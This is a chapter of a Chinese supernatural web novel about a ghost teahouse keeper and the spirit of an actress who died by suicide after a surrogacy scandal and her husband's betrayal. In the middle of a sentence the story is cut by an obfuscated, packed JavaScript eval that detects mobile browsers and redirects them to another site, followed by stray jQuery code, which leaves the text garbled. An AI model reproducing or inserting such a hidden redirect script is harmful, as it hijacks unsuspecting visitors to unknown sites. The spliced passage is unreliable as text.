白无霜局促的被众鬼围堵在门前,她满脸惊恐的盯着失去头颅的文春。
文春正张开双臂,在门口维持秩序。幸芝将文春的脑袋放回其肩上,左右晃动两下确定不会再掉下,又替她整理好领口。文春从她脑袋缝隙处,踮着脚对白无霜道:“白小姐,这位就是这间茶餐厅的老板,我姐姐,幸芝姑姑。”
白无霜死去已经一周,想来这一周过得担惊受怕,她竟立时站到幸芝身边,满眼急切地道:“求求你,你能帮帮我吗?我想回去,我不想死。”
“可你已经死了。”
时间并未在白无霜的脸上留下痕迹,只是那双波澜不惊的眼睛已然失去光彩。
此时的白无霜跟名利场上那些上位者别无二致,张口便是一股刺鼻的铜臭味。
“你要多少钱,我给你,行吗,我真的没有想死,我只是一时想不开。求求你,帮帮忙,多少钱我都给。”
白无霜苦苦哀求。
幸芝看了眼呆立在旁的文春,笑着开口道:“可是,我也死了。死人是用不了活人钱的。”
白无霜一愣,不可置信地望着幸芝,最终跌坐在地上。
她从未如此狼狈过,仿佛她生来就是高高在上。
“那接下来,我要去哪里?”
她又迅速恢复成电影海报中女主,面带平静波澜不惊,眼中却又一处角落,静静地等待着导演喊“卡”。
这一次,和从前的无数次一样,不过是段沉浸式电影拍摄。
“轮回亦或者往生。”
幸芝看见她身上萦绕的死气,只怕她未必能顺利轮回。
“受那罪干什么,做鬼多好,风流快活吃喝玩乐,要不,大明星跟我们一起做鬼,永不受轮回之苦。”
围观的野鬼纷纷起哄。
白无霜站起身,拍了拍裙摆,高昂的头颅从未落下般道:“不!我要回去。我的一生,不该就这样结束。”
像一个笑话,趁所有人不注意时,偷偷结了果。
幸芝示意文春清场。人有人权,鬼有鬼权。
白无霜坐下,紧绷的面容如同裂开的冰面。此时若谁无意中丢进颗石子,只怕整片大陆都将分崩离析。
“你既然选择自杀,就应该主动承担后果。死就是死,从未有人死而复生。”
幸芝重新点亮灯笼。
白无霜捧起茶盏,低声道:“那是意外,我并未真的想死。我只是想吓唬他,跟从前一样,最后他服软道歉,我们重归于好。为什么,为什么这一次不一样。”
“死便是死。你现在想这些根本改变不了结果。”
幸芝示意白无霜跟上她的脚步。
但她站在原地未动。
“有人告诉我,你可以帮我改变这一切。”
“抱歉,我没有通天的本事。”
幸芝将灯笼照在白无霜的脚下,即便她再不愿意,也只能跟着光晕来到老槐树下。
光晕落在树根。
幸芝开口:“跟着光,向前走,该去哪里自有定夺。”
白无霜往前移动,直至消失在暗影之下。
文春在旁叹息道:“我以为今天见到自己的女神,没想到昔日女神成了女神经。我刚才查了一下,白无霜是跳楼死的。”
文春举着个平板,不断在娱乐板块翻找。
终于,在一个角落位置出现了白无霜的名字。
跳楼、代孕、封杀……
“白无霜”三个字被裹挟其中。
狗仔爆料说,白无霜结婚后不愿生孩子,委托朋友找了家代孕机构。后来又不惜大闹代孕机构,因此丢了代言和拍摄,就连之前已经上映结束的电影,也被要求全部删减其片段。
镜头前,白无霜黑裙墨镜,被记者提及为何要找个人替自己生孩子时,她满脸无所谓道:“不都这样,我不想生,但我的丈夫希望有个我们的孩子。”
不断闪烁的镁光灯下,白无霜的面部没有一丝松动。
白无霜的丈夫并非圈内人,当初她忽然自曝要结婚时,也算是被翻了个底朝天的素人。
夏宥,一个农业学博士。
因为回答白无霜的付费问题,两人才有了交集,如何熟稔到最后走入婚姻,外人无从得知。
只知道,夏宥跟白无霜结婚后,几乎放弃自已原来的研究,开始一心跟着白无霜经营深山农场。所谓的深山农场,就是白无霜用来呼朋引伴招待朋友的茶庄,确实养了几只小动物、几亩试验田,靠近城堡似的房子四周也移栽了不少参天大树……
但这个农场不对外开放,维持这个农场运营资金的只有白无霜。白无霜这些年打拼下来,少说也有几个亿,要维持这个农场并非难事。
但夏宥不同,在他眼里,白无霜应该跟那部电影中一样,在农场中辛苦劳作,磨练心性。毕竟在他看来,这才是深山农场存在的意义。
两人因此有了分歧,白无霜决定妥协,想着弄个孩子出来,也许夏宥的注意力就能转移。
直到,在某个被雷雨惊醒的深夜,床畔无人陪伴,通过定位查找,夏宥竟然去了代孕中心。再往下查,她心凉了谷底。因为她的不参与,代孕那边所有的操作都是夏宥代劳。起初只是些简单的医学术语,到后来开始代孕那个女孩孕反严重也需要夏宥出面安抚,甚至连孕妇装也是夏宥亲自去采买……
那一次,竟然是因为害怕雷雨声,将睡梦中的夏宥叫走。
那个女孩,是白无霜选的。
女大学生,肤白貌美,双腿纤细。
不是所有人都适合做我孩子的行李箱。这是白无霜的原话。
白无霜无法接受夏宥的背叛,倒不是因为她有多么爱夏宥,而是自己的东西被人窃取的针扎感刺挠着她。她大闹代孕中心,报警,新闻报道……
当她以为所有人像从前一样站在她身后时,风向早已变了。
代孕本身就触及大部分人的底线。
白无霜站在楼顶,常年吃素早已羸弱的身躯再寒风中摇摇欲坠。
她要夏宥当着所有面承认,那个孩子是他们夫妻两个胚胎结合后塞进那个女孩的身体的,他们从未有过除此之外更亲密的接触。
夏宥拒绝了。
他还说,那个胚胎早就被吸收了。
他跟乔月是真心相爱,他们的孩子不是代孕来的,而是彼此爱情结晶。
而且,他还出示文件,他早就跟白无霜提了离婚,并且白无霜本人也在离婚协议上签过字……
那张确实印有她签名的文件被风推至她眼前。
她忽然想起,那是一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045847|176217||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
场夫妻生活后,夏宥从床头柜取出文件,说农场需要修筑篱笆,有份文件需要她签名。
他的手从身下搂着她,两人肌肤紧贴,水乳|交融时,他想着的却是如何让她在离婚协议上签字。
白无霜纵身一跃,一了百了。
文春道:“要是我,怎么也得让渣男付出代价。如今她这么一死,她的财产有一大部分要落入渣男口袋,真替她不值得。”
幸芝摇摇头,指着平板电脑问:“这个哪里来的?”
“哈。”文春挡住脸颊,只露出一双亮晶晶的眼睛:“他最近烧给我的,水果三件套,还有一副麻将,衣裳鞋子什么的。可惜那杯奶茶不是我喜欢的口味,不过没关系,下次他一定会点对。”
幸芝想起文春住的阁楼俨然是个少女闺房。
她的那间屋子,只有阿元留下的一把竹椅。
在每个白日发出咯吱咯吱的异响。
天蒙蒙亮时,店里已经没有食客,幸芝坐在门口的藤椅上,文春在旁玩游戏。
那些深夜组队开黑的也许根本不会想到队友是只鬼。
鬼差是忽然出现的,连幸芝也没有察觉。
他站在门前空地,身后跟着本应入轮回的白无霜。
白无霜一脸茫然,待看见幸芝才仿佛见到亲人般,立刻站在她身边一脸戒备的打量鬼差。
“鬼差大人。”
幸芝起身问好。
“嗯。”鬼差拢了下袖口:“她还不能入轮回?”
“为什么?她是自杀而死,这个应该不归我管吧。”
按惯例自杀死的应该现在地府受罚,待清洗罪孽后再入轮回。
文春是特例。
这种特例有一个就够了。
而且白无霜……
幸芝对她没有什么好感。
“生死簿上她的阳寿未尽,你没看吗?”
“抱歉,我还不得其法,没用过。”
幸芝将鬼差请至一旁,说了那绢册如何也写不上字,那朱笔也如何落不下印。
“茶水我试过,不行。烛油也试了,也是不行。若是活着的,只怕放血也试了。请鬼差大人赐教。”
幸芝小心翼翼。
鬼差在旁无语至极。
“怪我,忘记阿元不曾教授你这些。那绢册便是生死簿,至于那朱笔,只是由你批注罢了。”
鬼差描述一番使用方法,大概便是问出来人姓名(这姓名也有讲究,得是出生时唤的名号,曾用名笔名艺名都无用),说出名字后打前世今生的大事记便逐渐显露,是非过错由朱笔标注(鬼差说好的打圈坏的打叉非常的主观),之后绢册自然会显露去处,只需执笔人将死魂送入入口便能了结。
合着就是个简单的文书工作者。
于是幸芝请来木匣子,打算趁鬼差在时演练一番。
哪知道,第一回便卡住。
白无霜是艺名。曾用名白凤。乳名多多。
三者皆不对。
幸芝再次傻眼,白无霜在旁嘴角噙着笑问:“既然我阳寿未尽,直接让我回去就是,何必这么麻烦。”
鬼差忽然一个侧身,握住幸芝的右手,朱笔落入指尖,忽的轻触白无霜的眉心,似牵出一丝黑线落入绢册。
白莹。